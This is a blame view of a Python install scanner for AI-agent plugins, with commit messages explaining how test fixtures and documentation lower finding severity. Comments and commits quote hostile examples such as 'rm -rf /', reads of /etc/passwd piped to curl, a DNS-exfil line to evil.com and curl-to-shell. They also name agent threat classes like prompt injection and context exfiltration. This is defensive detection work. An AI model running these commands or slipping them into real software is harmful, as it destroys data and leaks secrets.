leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
if finding.pattern_id != "destructive_home_rm":
return False
stripped = line.strip()
return (_SELF_UNINSTALL_RM.match(stripped) is not None
or _SELF_UNINSTALL_RM_IN_SPAN.search(line) is not None)
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
# ── (2) test trees and fixtures ──────────────────────────────────────────────────────────────
# Test code and fixtures deliberately hold hostile strings (``rm -rf /`` in a DENY table,
# ``/etc/passwd`` in a traversal probe, a fake ``sk-`` key in a redaction corpus) to prove the
# plugin rejects them. They are still scanned — ``from .tests import evil`` would run — but a
# finding there steps down once, so a fixture cannot hard-block and a string-only fixture is
# a note. A root-level test dir (``tests/``, ``fixtures/``) or the unambiguous dunder names at any
fix(plugin-guard): plural test-file names and delegation prose are not attack shapes Two install-scan false positives from catalog intake, each red on the real pinned tree: * memory-review (apoapostolov/hermes-agent-awesome-plugins@b270520, plugins/memory-review): tests_state.py:86 holds '/etc/passwd' in a quoted traversal-probe list and scored system_passwd_access:critical -> dangerous (unoverridable). The test-tree name rule only knew test_*.py / *_test.py; a single-module plugin without a tests/ dir names its file tests_*.py. Accept the plural prefix/suffix so the quoted fixture is a note, exactly as tests/test_x.py is. * pstack (Cloeille/pstack@ac5e5ab, #116381 pin): skills/poteto-mode/SKILL.md:128 'Send subagents the minimum context they need' hit context_exfil:high. Handing context to the agent's own subagent is an in-process handoff; the bare-'context' branch now skips a subagent/worker/delegate recipient named right after the verb. External destinations, bare 'your context', and 'send agents your context' still match. Two tightenings guard the widened test-file surface (both pre-existing gaps, now closed): - _EXEC_ON_LINE gains open(: open('/etc/passwd') in a test steps down once (high, confirmable) instead of reading as quoted data (medium, note). - the JS regex-literal lexer accepts only real flags [dgimsuvy]; with [a-z]* an unquoted Unix path lexed as /etc/ + flags 'passwd', so 'cat /etc/passwd | curl ...' in a test script was inert. PLUGIN_SCANNER_VERSION plugin-guard-v6 -> v7 so cached verdicts re-scan.
2026-09-19 19:03:04 -07:00
# depth (``src/__tests__/``), plus test-file naming (``foo.test.js``, ``test_foo.py``, and the
# plural ``tests_state.py`` / ``state_tests.py`` a single-module plugin uses when it has no
# ``tests/`` dir); a nested ``src/spec/handler.py`` is runtime code and gets no cap.
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
TEST_TREE_DIRS = {"tests", "test", "testing", "spec", "specs", "fixtures"}
_TEST_DIRS_ANY_DEPTH = {"__tests__", "__fixtures__", "__mocks__"}
fix(plugin-guard): plural test-file names and delegation prose are not attack shapes Two install-scan false positives from catalog intake, each red on the real pinned tree: * memory-review (apoapostolov/hermes-agent-awesome-plugins@b270520, plugins/memory-review): tests_state.py:86 holds '/etc/passwd' in a quoted traversal-probe list and scored system_passwd_access:critical -> dangerous (unoverridable). The test-tree name rule only knew test_*.py / *_test.py; a single-module plugin without a tests/ dir names its file tests_*.py. Accept the plural prefix/suffix so the quoted fixture is a note, exactly as tests/test_x.py is. * pstack (Cloeille/pstack@ac5e5ab, #116381 pin): skills/poteto-mode/SKILL.md:128 'Send subagents the minimum context they need' hit context_exfil:high. Handing context to the agent's own subagent is an in-process handoff; the bare-'context' branch now skips a subagent/worker/delegate recipient named right after the verb. External destinations, bare 'your context', and 'send agents your context' still match. Two tightenings guard the widened test-file surface (both pre-existing gaps, now closed): - _EXEC_ON_LINE gains open(: open('/etc/passwd') in a test steps down once (high, confirmable) instead of reading as quoted data (medium, note). - the JS regex-literal lexer accepts only real flags [dgimsuvy]; with [a-z]* an unquoted Unix path lexed as /etc/ + flags 'passwd', so 'cat /etc/passwd | curl ...' in a test script was inert. PLUGIN_SCANNER_VERSION plugin-guard-v6 -> v7 so cached verdicts re-scan.
2026-09-19 19:03:04 -07:00
_TEST_FILE_NAME = re.compile(r"^(?:tests?_[^/]*|[^/]*_tests?\.[^./]+|[^/]*\.(?:test|spec)\.[^./]+)$", re.IGNORECASE)
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
# In a test file, a hostile string that is only DATA — quoted, with no exec verb on the line
# (``verdict_for("rm -rf /")``, ``("/etc/passwd", "DENY")``) — is a note; a fixture file that is
fix(plugin-guard): plural test-file names and delegation prose are not attack shapes Two install-scan false positives from catalog intake, each red on the real pinned tree: * memory-review (apoapostolov/hermes-agent-awesome-plugins@b270520, plugins/memory-review): tests_state.py:86 holds '/etc/passwd' in a quoted traversal-probe list and scored system_passwd_access:critical -> dangerous (unoverridable). The test-tree name rule only knew test_*.py / *_test.py; a single-module plugin without a tests/ dir names its file tests_*.py. Accept the plural prefix/suffix so the quoted fixture is a note, exactly as tests/test_x.py is. * pstack (Cloeille/pstack@ac5e5ab, #116381 pin): skills/poteto-mode/SKILL.md:128 'Send subagents the minimum context they need' hit context_exfil:high. Handing context to the agent's own subagent is an in-process handoff; the bare-'context' branch now skips a subagent/worker/delegate recipient named right after the verb. External destinations, bare 'your context', and 'send agents your context' still match. Two tightenings guard the widened test-file surface (both pre-existing gaps, now closed): - _EXEC_ON_LINE gains open(: open('/etc/passwd') in a test steps down once (high, confirmable) instead of reading as quoted data (medium, note). - the JS regex-literal lexer accepts only real flags [dgimsuvy]; with [a-z]* an unquoted Unix path lexed as /etc/ + flags 'passwd', so 'cat /etc/passwd | curl ...' in a test script was inert. PLUGIN_SCANNER_VERSION plugin-guard-v6 -> v7 so cached verdicts re-scan.
2026-09-19 19:03:04 -07:00
# not code at all (``corpus.json``) likewise. ``os.system('rm -rf /')`` or ``open('/etc/passwd')``
# in a test still steps down only once: the line executes when imported.
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
_EXEC_ON_LINE = re.compile(
r"\b(?:system|popen|run|call|check_output|check_call|Popen|exec|execv\w*|spawn\w*|eval|execSync|execFile\w*"
fix(plugin-guard): plural test-file names and delegation prose are not attack shapes Two install-scan false positives from catalog intake, each red on the real pinned tree: * memory-review (apoapostolov/hermes-agent-awesome-plugins@b270520, plugins/memory-review): tests_state.py:86 holds '/etc/passwd' in a quoted traversal-probe list and scored system_passwd_access:critical -> dangerous (unoverridable). The test-tree name rule only knew test_*.py / *_test.py; a single-module plugin without a tests/ dir names its file tests_*.py. Accept the plural prefix/suffix so the quoted fixture is a note, exactly as tests/test_x.py is. * pstack (Cloeille/pstack@ac5e5ab, #116381 pin): skills/poteto-mode/SKILL.md:128 'Send subagents the minimum context they need' hit context_exfil:high. Handing context to the agent's own subagent is an in-process handoff; the bare-'context' branch now skips a subagent/worker/delegate recipient named right after the verb. External destinations, bare 'your context', and 'send agents your context' still match. Two tightenings guard the widened test-file surface (both pre-existing gaps, now closed): - _EXEC_ON_LINE gains open(: open('/etc/passwd') in a test steps down once (high, confirmable) instead of reading as quoted data (medium, note). - the JS regex-literal lexer accepts only real flags [dgimsuvy]; with [a-z]* an unquoted Unix path lexed as /etc/ + flags 'passwd', so 'cat /etc/passwd | curl ...' in a test script was inert. PLUGIN_SCANNER_VERSION plugin-guard-v6 -> v7 so cached verdicts re-scan.
2026-09-19 19:03:04 -07:00
r"|spawnSync|child_process|source|os\.startfile|open)\s*\(|\$\(|(?<![\w\\])`", re.IGNORECASE)
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep Seven more mechanisms that scored clean catalog pins as caution/dangerous, each fixed at the pattern or context level (no path exclusions): - crypto_mining: the bare coin name `monero` as a keyword in a connector index / search shortlist (`"monero gateway"`, `... monero multimodal ...`) lands at medium when nothing on the line names miner software, a pool, an algorithm or the act of mining. xmrig / stratum / coinhive / cryptonight, or `monero` beside a pool or "miner", keep full severity. - dns_exfil: `host` is an English noun and an HTTP header. It now needs the exfil shape itself (an interpolation inside a domain name, `host $(whoami).evil.com`) or a shell command position (`; host $x`, `do host $c`). "the connected host (${id})", a JS `host ${status}:` message and nginx `Host $host;` no longer match. dig/nslookup unchanged. - echo_pipe_exec / curl_pipe_shell / wget_pipe_shell: the shared shell alternation is word-bounded, so `| sha256sum -c` is not `| sh`. - exec_string: an upper-case SQL statement (`db.exec('PRAGMA ...')`, BEGIN/COMMIT/ROLLBACK/CREATE/INSERT ...) is a database call. - sudo_usage (and any other high, non-agent-facing finding) mid-sentence in a `"key": "string"` pair or a bare string list element of a .json data file (tips / translation table) takes the README prose cap. Command keys, a string that starts with the command (`"sudo",` in an args array), package.json and critical findings keep severity. - test fixtures: in Python/JS/TS a `$(...)` or backtick INSIDE a string literal is data, so a hostile-input table no longer counts as executing. `os.system(...)`/`exec(...)` outside the literal still do; shell files keep the raw line. - docs self-uninstall: `rm -rf ~/.hermes/plugins/<own name>` (and `${HOME}`) gets the same note as the `$HOME` form; a wider target or the same line in a .sh keeps severity. curl_pipe_shell in a Python hint string is deliberately unchanged: the same literal assigned to a variable is the attack shape, and it is only high (caution) today. SCANNER_VERSION -> skills-guard-v8 (regex changes in the shared table).
2026-10-01 10:22:53 -07:00
# In Python/JS/TS a quote never runs a command, so ``$(whoami)`` or a backtick INSIDE a string
# literal (``'; rm -rf / ; $(whoami) `id`'`` in a hostile-input table) is data, not an exec marker;
# the call that would run it (``os.system(``, ``exec(``) sits outside the literal and still counts.
# Shell-like files keep the raw line: there ``"$(id)"`` executes inside double quotes.
_QUOTES_NEVER_EXECUTE_SUFFIXES = {".py", ".pyi", ".js", ".mjs", ".cjs", ".jsx", ".ts", ".mts", ".cts", ".tsx"}
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
# An exec call whose FIRST argument is a string literal runs that literal: ``os.system('rm -rf /')``,
# ``open('/etc/passwd')``, ``exec("code")``. A test dispatcher that passes the hostile string as a
# LATER argument or nested in a dict — ``call(core.detail, "/etc/passwd")``, ``call('read_file',
# {'path': '/etc/passwd'})`` — hands it as data to a mock and does not run it. ``call``/``run`` are in
# the exec list for ``subprocess.call``/``.run``, but a bare test helper named ``call()`` collides with
# it; keying on first-argument position distinguishes the two without dropping a real exec.
_EXEC_CALL_OPEN = re.compile(
r"\b(?:system|popen|run|call|check_output|check_call|Popen|exec|execv\w*|spawn\w*|eval|execSync"
r"|execFile\w*|spawnSync|source|os\.startfile|open)\s*\(\s*", re.IGNORECASE)
def _exec_first_arg_literal_spans(line: str, spans: list[tuple[int, int]]) -> list[tuple[int, int]]:
"""Literal spans that sit as the direct first argument of an exec call (``open('<lit>')``)."""
out = []
for m in _EXEC_CALL_OPEN.finditer(line):
span = next(((a, b) for a, b in spans if a == m.end()), None)
if span is not None:
out.append(span)
return out
fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep Seven more mechanisms that scored clean catalog pins as caution/dangerous, each fixed at the pattern or context level (no path exclusions): - crypto_mining: the bare coin name `monero` as a keyword in a connector index / search shortlist (`"monero gateway"`, `... monero multimodal ...`) lands at medium when nothing on the line names miner software, a pool, an algorithm or the act of mining. xmrig / stratum / coinhive / cryptonight, or `monero` beside a pool or "miner", keep full severity. - dns_exfil: `host` is an English noun and an HTTP header. It now needs the exfil shape itself (an interpolation inside a domain name, `host $(whoami).evil.com`) or a shell command position (`; host $x`, `do host $c`). "the connected host (${id})", a JS `host ${status}:` message and nginx `Host $host;` no longer match. dig/nslookup unchanged. - echo_pipe_exec / curl_pipe_shell / wget_pipe_shell: the shared shell alternation is word-bounded, so `| sha256sum -c` is not `| sh`. - exec_string: an upper-case SQL statement (`db.exec('PRAGMA ...')`, BEGIN/COMMIT/ROLLBACK/CREATE/INSERT ...) is a database call. - sudo_usage (and any other high, non-agent-facing finding) mid-sentence in a `"key": "string"` pair or a bare string list element of a .json data file (tips / translation table) takes the README prose cap. Command keys, a string that starts with the command (`"sudo",` in an args array), package.json and critical findings keep severity. - test fixtures: in Python/JS/TS a `$(...)` or backtick INSIDE a string literal is data, so a hostile-input table no longer counts as executing. `os.system(...)`/`exec(...)` outside the literal still do; shell files keep the raw line. - docs self-uninstall: `rm -rf ~/.hermes/plugins/<own name>` (and `${HOME}`) gets the same note as the `$HOME` form; a wider target or the same line in a .sh keeps severity. curl_pipe_shell in a Python hint string is deliberately unchanged: the same literal assigned to a variable is the attack shape, and it is only high (caution) today. SCANNER_VERSION -> skills-guard-v8 (regex changes in the shared table).
2026-10-01 10:22:53 -07:00
def _executes(line: str, rel_path: str) -> bool:
if Path(rel_path).suffix.lower() in _QUOTES_NEVER_EXECUTE_SUFFIXES:
line = _LITERAL_SPANS.sub(lambda m: m.group(0)[0] + " " * (len(m.group(0)) - 2) + m.group(0)[-1], line)
return _EXEC_ON_LINE.search(line) is not None
def is_inert_fixture_line(finding: Finding, line: str, is_code: bool, rel_path: str = "") -> bool:
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
"""The finding's text is quoted test data that nothing on the line runs: every hit is inside a
string literal, and no such literal is the direct first argument of an exec call. A literal passed
as a later argument / nested in a dict to a test dispatcher (``call(x, "/etc/passwd")``) is data;
``open('/etc/passwd')`` — the literal as open's first arg — executes and is not inert."""
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
if not is_code:
return True
rx = _PATTERN_BY_ID.get(finding.pattern_id)
hits = list(rx.finditer(line)) if rx else []
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
if not hits:
return False
